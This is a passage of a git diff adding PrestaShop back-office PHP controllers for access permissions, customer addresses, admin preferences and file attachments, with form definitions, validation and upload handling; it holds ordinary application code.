'accesses' => $accesses, + 'tabs' => $tabs, + 'current_profile' => (int)$current_profile, + 'admin_profile' => (int)_PS_ADMIN_PROFILE_, + 'access_edit' => $this->tabAccess['edit'], + 'perms' => array('view', 'add', 'edit', 'delete'), + 'modules' => $modules, + 'link' => $this->context->link + ); + + return parent::renderForm(); + } + + /** + * AdminController::initContent() override + * @see AdminController::initContent() + */ + public function initContent() + { + $this->display = 'edit'; + // toolbar (save, cancel, new, ..) + $this->initToolbar(); + unset($this->toolbar_btn['save']); + unset($this->toolbar_btn['cancel']); + + if (!$this->loadObject(true)) + return; + + $this->content .= $this->renderForm(); + + $this->context->smarty->assign(array( + 'content' => $this->content, + 'url_post' => self::$currentIndex.'&token='.$this->token, + )); + } + + public function ajaxProcessUpdateAccess() + { + if (_PS_MODE_DEMO_) + throw new PrestaShopException(Tools::displayError('This functionality has been disabled.')); + if ($this->tabAccess['edit'] != '1') + throw new PrestaShopException(Tools::displayError('You do not have permission to edit this.')); + + if (Tools::isSubmit('submitAddAccess')) + { + $perm = Tools::getValue('perm'); + if (!in_array($perm, array('view', 'add', 'edit', 'delete', 'all'))) + throw new PrestaShopException('permission not exists'); + + $enabled = (int)Tools::getValue('enabled'); + $id_tab = (int)Tools::getValue('id_tab'); + $id_profile = (int)Tools::getValue('id_profile'); + $where = '`id_tab`'; + $join = ''; + if (Tools::isSubmit('addFromParent')) + { + $where = 't.`id_parent`'; + $join = 'LEFT JOIN `'._DB_PREFIX_.'tab` t ON (t.`id_tab` = a.`id_tab`)'; + } + + if ($id_tab == -1 && $perm == 'all' && $enabled == 0) + $sql = ' + UPDATE `'._DB_PREFIX_.'access` a + SET `view` = '.(int)$enabled.', `add` = '.(int)$enabled.', `edit` = '.(int)$enabled.', `delete` = '.(int)$enabled.' + WHERE `id_profile` = '.(int)$id_profile.' AND `id_tab` != '.(int)$this->id_tab_access; + else if ($id_tab == -1 && $perm == 'all') + $sql = ' + UPDATE `'._DB_PREFIX_.'access` a + SET `view` = '.(int)$enabled.', `add` = '.(int)$enabled.', `edit` = '.(int)$enabled.', `delete` = '.(int)$enabled.' + WHERE `id_profile` = '.(int)$id_profile; + else if ($id_tab == -1) + $sql = ' + UPDATE `'._DB_PREFIX_.'access` a + SET `'.bqSQL($perm).'` = '.(int)$enabled.' + WHERE `id_profile` = '.(int)$id_profile; + else if ($perm == 'all') + $sql = ' + UPDATE `'._DB_PREFIX_.'access` a + '.$join.' + SET `view` = '.(int)$enabled.', `add` = '.(int)$enabled.', `edit` = '.(int)$enabled.', `delete` = '.(int)$enabled.' + WHERE '.$where.' = '.(int)$id_tab.' + AND `id_profile` = '.(int)$id_profile; + else + $sql = ' + UPDATE `'._DB_PREFIX_.'access` a + '.$join.' + SET `'.bqSQL($perm).'` = '.(int)$enabled.' + WHERE '.$where.' = '.(int)$id_tab.' + AND `id_profile` = '.(int)$id_profile; + + $res = Db::getInstance()->execute($sql) ? 'ok' : 'error'; + + die($res); + } + } + + public function ajaxProcessUpdateModuleAccess() + { + if (_PS_MODE_DEMO_) + throw new PrestaShopException(Tools::displayError('This functionality has been disabled.')); + if ($this->tabAccess['edit'] != '1') + throw new PrestaShopException(Tools::displayError('You do not have permission to edit this.')); + + if (Tools::isSubmit('changeModuleAccess')) + { + $perm = Tools::getValue('perm'); + $enabled = (int)Tools::getValue('enabled'); + $id_module = (int)Tools::getValue('id_module'); + $id_profile = (int)Tools::getValue('id_profile'); + + if (!in_array($perm, array('view', 'configure'))) + throw new PrestaShopException('permission not exists'); + + if ($id_module == -1) + $sql = ' + UPDATE `'._DB_PREFIX_.'module_access` + SET `'.bqSQL($perm).'` = '.(int)$enabled.' + WHERE `id_profile` = '.(int)$id_profile; + else + $sql = ' + UPDATE `'._DB_PREFIX_.'module_access` + SET `'.bqSQL($perm).'` = '.(int)$enabled.' + WHERE `id_module` = '.(int)$id_module.' + AND `id_profile` = '.(int)$id_profile; + + $res = Db::getInstance()->execute($sql) ? 'ok' : 'error'; + + die($res); + } + } + + /** + * Get the current profile id + * + * @return the $_GET['profile'] if valid, else 1 (the first profile id) + */ + public function getCurrentProfileId() + { + return (isset($_GET['id_profile']) && !empty($_GET['id_profile']) && is_numeric($_GET['id_profile'])) ? (int)$_GET['id_profile'] : 1; + } +} diff --git a/controllers/admin/AdminAddonsCatalogController.php b/controllers/admin/AdminAddonsCatalogController.php new file mode 100755 index 0000000..e65a897 --- /dev/null +++ b/controllers/admin/AdminAddonsCatalogController.php @@ -0,0 +1,36 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class AdminAddonsCatalogControllerCore extends AdminController +{ + public function initContent() + { + $this->context->smarty->assign('parentDomain', Tools::getHttpHost(true).substr($_SERVER['REQUEST_URI'], 0, -1 * strlen(basename($_SERVER['REQUEST_URI'])))); + parent::initContent(); + } +} + + diff --git a/controllers/admin/AdminAddressesController.php b/controllers/admin/AdminAddressesController.php new file mode 100755 index 0000000..959687e --- /dev/null +++ b/controllers/admin/AdminAddressesController.php @@ -0,0 +1,447 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class AdminAddressesControllerCore extends AdminController +{ + /** @var array countries list */ + protected $countries_array = array(); + + public function __construct() + { + $this->required_database = true; + $this->required_fields = array('company','address2', 'postcode', 'other', 'phone', 'phone_mobile', 'vat_number', 'dni'); + $this->table = 'address'; + $this->className = 'Address'; + $this->lang = false; + $this->addressType = 'customer'; + $this->explicitSelect = true; + $this->context = Context::getContext(); + + $this->addRowAction('edit'); + $this->addRowAction('delete'); + $this->bulk_actions = array('delete' => array('text' => $this->l('Delete selected'), 'confirm' => $this->l('Delete selected items?'))); + + $this->allow_export = true; + + if (!Tools::getValue('realedit')) + $this->deleted = true; + + $countries = Country::getCountries($this->context->language->id); + foreach ($countries as $country) + $this->countries_array[$country['id_country']] = $country['name']; + + $this->fields_list = array( + 'id_address' => array('title' => $this->l('ID'), 'align' => 'center', 'width' => 25), + 'firstname' => array('title' => $this->l('First Name'), 'width' => 120, 'filter_key' => 'a!firstname'), + 'lastname' => array('title' => $this->l('Last Name'), 'width' => 140, 'filter_key' => 'a!lastname'), + 'address1' => array('title' => $this->l('Address')), + 'postcode' => array('title' => $this->l('Zip/Postal Code'), 'align' => 'right', 'width' => 80), + 'city' => array('title' => $this->l('City'), 'width' => 150), + 'country' => array('title' => $this->l('Country'), 'width' => 100, 'type' => 'select', 'list' => $this->countries_array, 'filter_key' => 'cl!id_country')); + + parent::__construct(); + + $this->_select = 'cl.`name` as country'; + $this->_join = ' + LEFT JOIN `'._DB_PREFIX_.'country_lang` cl ON (cl.`id_country` = a.`id_country` AND cl.`id_lang` = '.(int)$this->context->language->id.') + LEFT JOIN `'._DB_PREFIX_.'customer` c ON a.id_customer = c.id_customer + '; + $this->_where = 'AND a.id_customer != 0 '.Shop::addSqlRestriction(Shop::SHARE_CUSTOMER, 'c'); + } + + public function initToolbar() + { + parent::initToolbar(); + if (!$this->display) + $this->toolbar_btn['import'] = array( + 'href' => $this->context->link->getAdminLink('AdminImport', true).'&import_type='.$this->table, + 'desc' => $this->l('Import') + ); + } + + public function renderForm() + { + $this->fields_form = array( + 'legend' => array( + 'title' => $this->l('Addresses'), + 'image' => '../img/admin/contact.gif' + ), + 'input' => array( + array( + 'type' => 'text_customer', + 'label' => $this->l('Customer'), + 'name' => 'id_customer', + 'size' => 33, + 'required' => false, + ), + array( + 'type' => 'text', + 'label' => $this->l('Identification Number'), + 'name' => 'dni', + 'size' => 30, + 'required' => false, + 'desc' => $this->l('DNI / NIF / NIE') + ), + array( + 'type' => 'text', + 'label' => $this->l('Address alias'), + 'name' => 'alias', + 'size' => 33, + 'required' => true, + 'hint' => $this->l('Invalid characters:').' <>;=#{}' + ), + array( + 'type' => 'text', + 'label' => $this->l('Home phone'), + 'name' => 'phone', + 'size' => 33, + 'required' => false, + ), + array( + 'type' => 'text', + 'label' => $this->l('Mobile phone'), + 'name' => 'phone_mobile', + 'size' => 33, + 'required' => false, + 'desc' => Configuration::get('PS_ONE_PHONE_AT_LEAST')? sprintf($this->l('You must register at least one phone number %s'), '<sup>*</sup>') : '' + ), + array( + 'type' => 'textarea', + 'label' => $this->l('Other'), + 'name' => 'other', + 'cols' => 36, + 'rows' => 4, + 'required' => false, + 'hint' => $this->l('Forbidden characters:').' <>;=#{}<span class="hint-pointer"> </span>' + ), + ), + 'submit' => array( + 'title' => $this->l('Save '), + 'class' => 'button' + ) + ); + $id_customer = (int)Tools::getValue('id_customer'); + if (!$id_customer && Validate::isLoadedObject($this->object)) + $id_customer = $this->object->id_customer; + if ($id_customer) + { + $customer = new Customer((int)$id_customer); + $token_customer = Tools::getAdminToken('AdminCustomers'.(int)(Tab::getIdFromClassName('AdminCustomers')).(int)$this->context->employee->id); + } + + // @todo in 1.4, this include was done before the class declaration + // We should use a hook now + if (Configuration::get('VATNUMBER_MANAGEMENT') && file_exists(_PS_MODULE_DIR_.'vatnumber/vatnumber.php')) + include_once(_PS_MODULE_DIR_.'vatnumber/vatnumber.php'); + if (Configuration::get('VATNUMBER_MANAGEMENT')) + if (file_exists(_PS_MODULE_DIR_.'vatnumber/vatnumber.php') && VatNumber::isApplicable(Configuration::get('PS_COUNTRY_DEFAULT'))) + $vat = 'is_applicable'; + else + $vat = 'management'; + + $this->tpl_form_vars = array( + 'vat' => isset($vat) ? $vat : null, + 'customer' => isset($customer) ? $customer : null, + 'tokenCustomer' => isset ($token_customer) ? $token_customer : null + ); + + // Order address fields depending on country format + $addresses_fields = $this->processAddressFormat(); + // we use delivery address + $addresses_fields = $addresses_fields['dlv_all_fields']; + + $temp_fields = array(); + + foreach ($addresses_fields as $addr_field_item) + { + if ($addr_field_item == 'company') + { + $temp_fields[] = array( + 'type' => 'text', + 'label' => $this->l('Company'), + 'name' => 'company', + 'size' => 33, + 'required' => false, + 'hint' => $this->l('Invalid characters:').' <>;=#{}<span class="hint-pointer"> </span>' + ); + $temp_fields[] = array( + 'type' => 'text', + 'label' => $this->l('VAT number'), + 'name' => 'vat_number', + 'size' => 33, + ); + } + else if ($addr_field_item == 'lastname') + { + if (isset($customer) && + !Tools::isSubmit('submit'.strtoupper($this->table)) && + Validate::isLoadedObject($customer) && + !Validate::isLoadedObject($this->object)) + $default_value = $customer->lastname; + else + $default_value = ''; + + $temp_fields[] = array( + 'type' => 'text', + 'label' => $this->l('Last Name'), + 'name' => 'lastname', + 'size' => 33, + 'required' => true, + 'hint' => $this->l('Invalid characters:').' 0-9!<>,;?=+()@#"�{}_$%:<span class="hint-pointer"> </span>', + 'default_value' => $default_value, + ); + } + else if ($addr_field_item == 'firstname') + { + if (isset($customer) && + !Tools::isSubmit('submit'.strtoupper($this->table)) && + Validate::isLoadedObject($customer) && + !Validate::isLoadedObject($this->object)) + $default_value = $customer->firstname; + else + $default_value = ''; + + $temp_fields[] = array( + 'type' => 'text', + 'label' => $this->l('First Name'), + 'name' => 'firstname', + 'size' => 33, + 'required' => true, + 'hint' => $this->l('Invalid characters:').' 0-9!<>,;?=+()@#"�{}_$%:<span class="hint-pointer"> </span>', + 'default_value' => $default_value, + ); + } + else if ($addr_field_item == 'address1') + { + $temp_fields[] = array( + 'type' => 'text', + 'label' => $this->l('Address'), + 'name' => 'address1', + 'size' => 33, + 'required' => true, + ); + } + else if ($addr_field_item == 'address2') + { + $temp_fields[] = array( + 'type' => 'text', + 'label' => $this->l('Address').' (2)', + 'name' => 'address2', + 'size' => 33, + 'required' => false, + ); + } + elseif ($addr_field_item == 'postcode') + { + $temp_fields[] = array( + 'type' => 'text', + 'label' => $this->l('Zip/Postal Code'), + 'name' => 'postcode', + 'size' => 33, + 'required' => true, + ); + } + else if ($addr_field_item == 'city') + { + $temp_fields[] = array( + 'type' => 'text', + 'label' => $this->l('City'), + 'name' => 'city', + 'size' => 33, + 'required' => true, + ); + } + else if ($addr_field_item == 'country' || $addr_field_item == 'Country:name') + { + $temp_fields[] = array( + 'type' => 'select', + 'label' => $this->l('Country'), + 'name' => 'id_country', + 'required' => false, + 'default_value' => (int)$this->context->country->id, + 'options' => array( + 'query' => Country::getCountries($this->context->language->id), + 'id' => 'id_country', + 'name' => 'name', + ) + ); + $temp_fields[] = array( + 'type' => 'select', + 'label' => $this->l('State'), + 'name' => 'id_state', + 'required' => false, + 'options' => array( + 'query' => array(), + 'id' => 'id_state', + 'name' => 'name', + ) + ); + } + } + + // merge address format with the rest of the form + array_splice($this->fields_form['input'], 3, 0, $temp_fields); + + return parent::renderForm(); + } + + public function processSave() + { + // Transform e-mail in id_customer for parent processing + if (Validate::isEmail(Tools::getValue('email'))) + { + $customer = new Customer(); + $customer->getByEmail(Tools::getValue('email'), null, false); + if (Validate::isLoadedObject($customer)) + $_POST['id_customer'] = $customer->id; + else + $this->errors[] = Tools::displayError('This email address is not registered.'); + } + else if ($id_customer = Tools::getValue('id_customer')) + { + $customer = new Customer((int)$id_customer); + if (Validate::isLoadedObject($customer)) + $_POST['id_customer'] = $customer->id; + else + $this->errors[] = Tools::displayError('Unknown customer'); + } + else + $this->errors[] = Tools::displayError('Unknown customer'); + if (Country::isNeedDniByCountryId(Tools::getValue('id_country')) && !Tools::getValue('dni')) + $this->errors[] = Tools::displayError('The identification number is incorrect or has already been used.'); + + /* If the selected country does not contain states */ + $id_state = (int)Tools::getValue('id_state'); + $id_country = (int)Tools::getValue('id_country'); + $country = new Country((int)$id_country); + if ($country && !(int)$country->contains_states && $id_state) + $this->errors[] = Tools::displayError('You\'ve selected a state for a country that does not contain states.'); + + /* If the selected country contains states, then a state have to be selected */ + if ((int)$country->contains_states && !$id_state) + $this->errors[] = Tools::displayError('An address located in a country containing states must have a state selected.'); + + $postcode = Tools::getValue('postcode'); + /* Check zip code format */ + if ($country->zip_code_format && !$country->checkZipCode($postcode)) + $this->errors[] = Tools::displayError('Your Postal / Zip Code is incorrect.').'<br />'.Tools::displayError('It must be entered as follows:').' '.str_replace('C', $country->iso_code, str_replace('N', '0', str_replace('L', 'A', $country->zip_code_format))); + elseif(empty($postcode) && $country->need_zip_code) + $this->errors[] = Tools::displayError('A Zip / Postal code is required.'); + elseif ($postcode && !Validate::isPostCode($postcode)) + $this->errors[] = Tools::displayError('The Zip / Postal code is invalid.'); + + if (Configuration::get('PS_ONE_PHONE_AT_LEAST') && !Tools::getValue('phone') && !Tools::getValue('phone_mobile')) + $this->errors[] = Tools::displayError('You must register at least one phone number.'); + + /* If this address come from order's edition and is the same as the other one (invoice or delivery one) + ** we delete its id_address to force the creation of a new one */ + if ((int)Tools::getValue('id_order')) + { + $this->_redirect = false; + if (isset($_POST['address_type'])) + $_POST['id_address'] = ''; + } + + // Check the requires fields which are settings in the BO + $address = new Address(); + $this->errors = array_merge($this->errors, $address->validateFieldsRequiredDatabase()); + + if (empty($this->errors)) + return parent::processSave(); + else + // if we have errors, we stay on the form instead of going back to the list + $this->display = 'edit'; + + /* Reassignation of the order's new (invoice or delivery) address */ + $address_type = ((int)Tools::getValue('address_type') == 2 ? 'invoice' : ((int)Tools::getValue('address_type') == 1 ? 'delivery' : '')); + if ($this->action == 'save' && ($id_order = (int)Tools::getValue('id_order')) && !count($this->errors) && !empty($address_type)) + { + if (!Db::getInstance()->execute('UPDATE '._DB_PREFIX_.'orders SET `id_address_'.$address_type.'` = '.Db::getInstance()->Insert_ID().' WHERE `id_order` = '.$id_order)) + $this->errors[] = Tools::displayError('An error occurred while linking this address to its order.'); + else + Tools::redirectAdmin(Tools::getValue('back').'&conf=4'); + } + } + + public function processAdd() + { + if (Tools::getValue('submitFormAjax')) + $this->redirect_after = false; + + return parent::processAdd(); + } + + /** + * Get Address formats used by the country where the address id retrieved from POST/GET is. + * + * @return array address formats + */ + protected function processAddressFormat() + { + $tmp_addr = new Address((int)Tools::getValue('id_address')); + + $selected_country = ($tmp_addr && $tmp_addr->id_country) ? $tmp_addr->id_country : (int)Configuration::get('PS_COUNTRY_DEFAULT'); + + $inv_adr_fields = AddressFormat::getOrderedAddressFields($selected_country, false, true); + $dlv_adr_fields = AddressFormat::getOrderedAddressFields($selected_country, false, true); + + $inv_all_fields = array(); + $dlv_all_fields = array(); + + $out = array(); + + foreach (array('inv','dlv') as $adr_type) + { + foreach (${$adr_type.'_adr_fields'} as $fields_line) + foreach (explode(' ', $fields_line) as $field_item) + ${$adr_type.'_all_fields'}[] = trim($field_item); + + $out[$adr_type.'_adr_fields'] = ${$adr_type.'_adr_fields'}; + $out[$adr_type.'_all_fields'] = ${$adr_type.'_all_fields'}; + } + + return $out; + } + + /** + * Method called when an ajax request is made + * @see AdminController::postProcess() + */ + public function ajaxProcess() + { + if (Tools::isSubmit('email')) + { + $email = pSQL(Tools::getValue('email')); + $customer = Customer::searchByName($email); + if (!empty($customer)) + { + $customer = $customer['0']; + echo Tools::jsonEncode(array('infos' => pSQL($customer['firstname']).'_'.pSQL($customer['lastname']).'_'.pSQL($customer['company']))); + } + } + die; + } +} diff --git a/controllers/admin/AdminAdminPreferencesController.php b/controllers/admin/AdminAdminPreferencesController.php new file mode 100755 index 0000000..1b2ad13 --- /dev/null +++ b/controllers/admin/AdminAdminPreferencesController.php @@ -0,0 +1,206 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class AdminAdminPreferencesControllerCore extends AdminController +{ + + public function __construct() + { + $this->className = 'Configuration'; + $this->table = 'configuration'; + + parent::__construct(); + + // Upload quota + $max_upload = (int)ini_get('upload_max_filesize'); + $max_post = (int)ini_get('post_max_size'); + $upload_mb = min($max_upload, $max_post); + + // Options list + $this->fields_options = array( + 'general' => array( + 'title' => $this->l('General'), + 'icon' => 'tab-preferences', + 'fields' => array( + 'PRESTASTORE_LIVE' => array( + 'title' => $this->l('Automatically check for module updates'), + 'desc' => $this->l('New modules and updates are displayed on the modules page.'), + 'validation' => 'isBool', + 'cast' => 'intval', + 'type' => 'bool', + 'visibility' => Shop::CONTEXT_ALL + ), + 'PS_COOKIE_CHECKIP' => array( + 'title' => $this->l('Check the IP address on the cookie'), + 'desc' => $this->l('Check the IP address of the cookie in order to prevent your cookie from being stolen.'), + 'validation' => 'isBool', + 'cast' => 'intval', + 'type' => 'bool', + 'default' => '0', + 'visibility' => Shop::CONTEXT_ALL + ), + 'PS_COOKIE_LIFETIME_FO' => array( + 'title' => $this->l('Lifetime of Front Office cookies'), + 'desc' => $this->l('Indicate the number of hours'), + 'validation' => 'isInt', + 'cast' => 'intval', + 'type' => 'text', + 'default' => '480', + 'visibility' => Shop::CONTEXT_ALL + ), + 'PS_COOKIE_LIFETIME_BO' => array( + 'title' => $this->l('Lifetime of Back Office cookies'), + 'desc' => $this->l('Indicate the number of hours'), + 'validation' => 'isInt', + 'cast' => 'intval', + 'type' => 'text', + 'default' => '480', + 'visibility' => Shop::CONTEXT_ALL + ), + ), + 'submit' => array() + ), + 'upload' => array( + 'title' => $this->l('Upload quota'), + 'icon' => 'tab-preferences', + 'fields' => array( + 'PS_ATTACHMENT_MAXIMUM_SIZE' => array( + 'title' => $this->l('Maximum size for attachment'), + 'desc' => $this->l('Set the maximum size allowed for attachment files (in MegaBytes).').' '.$this->l('Maximum:').' '. + ((int)str_replace('M', '', ini_get('post_max_size')) > (int)str_replace('M', '', ini_get('upload_max_filesize')) ? ini_get('upload_max_filesize') : ini_get('post_max_size')), + 'validation' => 'isInt', + 'cast' => 'intval', + 'type' => 'text', + 'suffix' => $this->l('megabytes'), + 'default' => '2' + ), + 'PS_LIMIT_UPLOAD_FILE_VALUE' => array( + 'title' => $this->l('File value upload limit'), + 'desc' => $this->l('Define the limit upload for a downloadable product. This value has to be less than or equal to the maximum file upload allotted by your server. ').sprintf('(%s MB).', $upload_mb), + 'validation' => 'isInt', + 'cast' => 'intval', + 'type' => 'text', + 'suffix' => $this->l('megabytes'), + 'default' => '1' + ), + 'PS_LIMIT_UPLOAD_IMAGE_VALUE' => array( + 'title' => $this->l('Image value upload limit'), + 'desc' => $this->l('Define the limit upload for an image. This value has to be less than or equal to the maximum file upload allotted by your server. ').sprintf('(%s MB).', $upload_mb), + 'validation' => 'isInt', + 'cast' => 'intval', + 'type' => 'text', + 'suffix' => $this->l('megabytes'), + 'default' => '1' + ), + ), + ), + 'help' => array( + 'title' => $this->l('Help'), + 'icon' => 'tab-preferences', + 'fields' => array( + 'PS_HELPBOX' => array( + 'title' => $this->l('Back Office help boxes'), + 'desc' => $this->l('Allow yellow help boxes to be displayed under the form fields in the Back Office.'), + 'validation' => 'isBool', + 'cast' => 'intval', + 'type' => 'bool', + 'visibility' => Shop::CONTEXT_ALL + ), + 'PS_HIDE_OPTIMIZATION_TIPS' => array( + 'title' => $this->l('Hide optimization tips'), + 'desc' => $this->l('Hide optimization tips on the Back Office homepage'), + 'validation' => 'isBool', + 'cast' => 'intval', + 'type' => 'bool' + ), + ), + ), + 'notifications' => array( + 'title' => $this->l('Notifications'), + 'icon' => 'tab-preferences', + 'fields' => array( + 'PS_SHOW_NEW_ORDERS' => array( + 'title' => $this->l('Show notifications for new orders'), + 'desc' => $this->l('This will display notifications when new orders are made in your shop.'), + 'validation' => 'isBool', + 'cast' => 'intval', + 'type' => 'bool' + ), + 'PS_SHOW_NEW_CUSTOMERS' => array( + 'title' => $this->l('Show notifications for new customers'), + 'desc' => $this->l('This will display notifications every time a new customer registers in your shop.'), + 'validation' => 'isBool', + 'cast' => 'intval', + 'type' => 'bool' + ), + 'PS_SHOW_NEW_MESSAGES' => array( + 'title' => $this->l('Show notifications for new messages'), + 'desc' => $this->l('This will display notifications when new messages are posted in your shop.'), + 'validation' => 'isBool', + 'cast' => 'intval', + 'type' => 'bool' + ), + ), + ), + ); + } + + public function postProcess() + { + $upload_max_size = (int)str_replace('M', '', ini_get('upload_max_filesize')); + $post_max_size = (int)str_replace('M', '', ini_get('post_max_size')); + $max_size = $upload_max_size < $post_max_size ? $upload_max_size : $post_max_size; + + if (Tools::getValue('PS_LIMIT_UPLOAD_FILE_VALUE') > $max_size || Tools::getValue('PS_LIMIT_UPLOAD_IMAGE_VALUE') > $max_size) + { + $this->errors[] = Tools::displayError('The limit chosen is larger than the server\'s maximum upload limit. Please increase the limits of your server.'); + return; + } + + if (Tools::getIsset('PS_LIMIT_UPLOAD_FILE_VALUE') && !Tools::getValue('PS_LIMIT_UPLOAD_FILE_VALUE')) + $_POST['PS_LIMIT_UPLOAD_FILE_VALUE'] = 1; + + if (Tools::getIsset('PS_LIMIT_UPLOAD_IMAGE_VALUE') && !Tools::getValue('PS_LIMIT_UPLOAD_IMAGE_VALUE')) + $_POST['PS_LIMIT_UPLOAD_IMAGE_VALUE'] = 1; + + parent::postProcess(); + } + + /** + * Update PS_ATTACHMENT_MAXIMUM_SIZE + */ + public function updateOptionPsAttachementMaximumSize($value) + { + if (!$value) + return; + + $upload_max_size = (int)str_replace('M', '', ini_get('upload_max_filesize')); + $post_max_size = (int)str_replace('M', '', ini_get('post_max_size')); + $max_size = $upload_max_size < $post_max_size ? $upload_max_size : $post_max_size; + $value = ($max_size < Tools::getValue('PS_ATTACHMENT_MAXIMUM_SIZE')) ? $max_size : Tools::getValue('PS_ATTACHMENT_MAXIMUM_SIZE'); + Configuration::updateValue('PS_ATTACHMENT_MAXIMUM_SIZE', $value); + } +} diff --git a/controllers/admin/AdminAttachmentsController.php b/controllers/admin/AdminAttachmentsController.php new file mode 100755 index 0000000..30ab36c --- /dev/null +++ b/controllers/admin/AdminAttachmentsController.php @@ -0,0 +1,182 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class AdminAttachmentsControllerCore extends AdminController +{ + + protected $product_attachements = array(); + + public function __construct() + { + $this->table = 'attachment'; + $this->className = 'Attachment'; + $this->lang = true; + + $this->addRowAction('edit'); + $this->addRowAction('delete'); + + $this->fields_list = array( + 'id_attachment' => array( + 'title' => $this->l('ID'), + 'align' => 'center', + 'width' => 25 + ), + 'name' => array( + 'title' => $this->l('Name') + ), + 'file' => array( + 'title' => $this->l('File') + ) + ); + + parent::__construct(); + } + + public function renderForm() + { + $this->fields_form = array( + 'legend' => array( + 'title' => $this->l('Attachment'), + 'image' => '../img/t/AdminAttachments.gif' + ), + 'input' => array( + array( + 'type' => 'text', + 'label' => $this->l('Filename:'), + 'name' => 'name', + 'size' => 33, + 'required' => true, + 'lang' => true, + ), + array( + 'type' => 'textarea', + 'label' => $this->l('Description:'), + 'name' => 'description', + 'cols' => 40, + 'rows' => 10, + 'lang' => true, + ), + array( + 'type' => 'file', + 'label' => $this->l('File:'), + 'name' => 'file', + 'desc' => $this->l('Upload a file from your computer.') + ), + ), + 'submit' => array( + 'title' => $this->l('Save '), + 'class' => 'button' + ) + ); + + return parent::renderForm(); + } + + public function getList($id_lang, $order_by = null, $order_way = null, $start = 0, $limit = null, $id_lang_shop = false) + { + parent::getList((int)$id_lang, $order_by, $order_way, $start, $limit, $id_lang_shop); + + if (count($this->_list)) + { + $this->product_attachements = Attachment::getProductAttached((int)$id_lang, $this->_list); + + $list_product_list = array(); + foreach ($this->_list as $list) + { + $product_list = ''; + if (isset($this->product_attachements[$list['id_attachment']])) + { + foreach ($this->product_attachements[$list['id_attachment']] as $product) + $product_list .= $product.', '; + } + $list_product_list[$list['id_attachment']] = $product_list; + } + + // Assign array in list_action_delete.tpl + $this->tpl_delete_link_vars = array( + 'product_list' => $list_product_list, + 'product_attachements' => $this->product_attachements + ); + } + } + + public function postProcess() + { + if (_PS_MODE_DEMO_) + { + $this->errors[] = Tools::displayError('This functionality has been disabled.'); + return; + } + + if (Tools::isSubmit('submitAdd'.$this->table)) + { + $id = (int)Tools::getValue('id_attachment'); + if ($id && $a = new Attachment($id)) + { + $_POST['file'] = $a->file; + $_POST['mime'] = $a->mime; + } + if (!count($this->errors)) + { + if (isset($_FILES['file']) && is_uploaded_file($_FILES['file']['tmp_name'])) + { + if ($_FILES['file']['size'] > (Configuration::get('PS_ATTACHMENT_MAXIMUM_SIZE') * 1024 * 1024)) + $this->errors[] = sprintf( + $this->l('The file is too large. Maximum size allowed is: %1$d kB. The file you\'re trying to upload is: %2$d kB.'), + (Configuration::get('PS_ATTACHMENT_MAXIMUM_SIZE') * 1024), + number_format(($_FILES['file']['size'] / 1024), 2, '.', '') + ); + else + { + do $uniqid = sha1(microtime()); + while (file_exists(_PS_DOWNLOAD_DIR_.$uniqid)); + if (!copy($_FILES['file']['tmp_name'], _PS_DOWNLOAD_DIR_.$uniqid)) + $this->errors[] = $this->l('Failed to copy the file.'); + $_POST['file_name'] = $_FILES['file']['name']; + @unlink($_FILES['file']['tmp_name']); + $_POST['file'] = $uniqid; + $_POST['mime'] = $_FILES['file']['type']; + } + } + else if (array_key_exists('file', $_FILES) && (int)$_FILES['file']['error'] === 1) + { + $max_upload = (int)ini_get('upload_max_filesize'); + $max_post = (int)ini_get('post_max_size'); + $upload_mb = min($max_upload, $max_post); + $this->errors[] = sprintf( + $this->l('The file %1$s 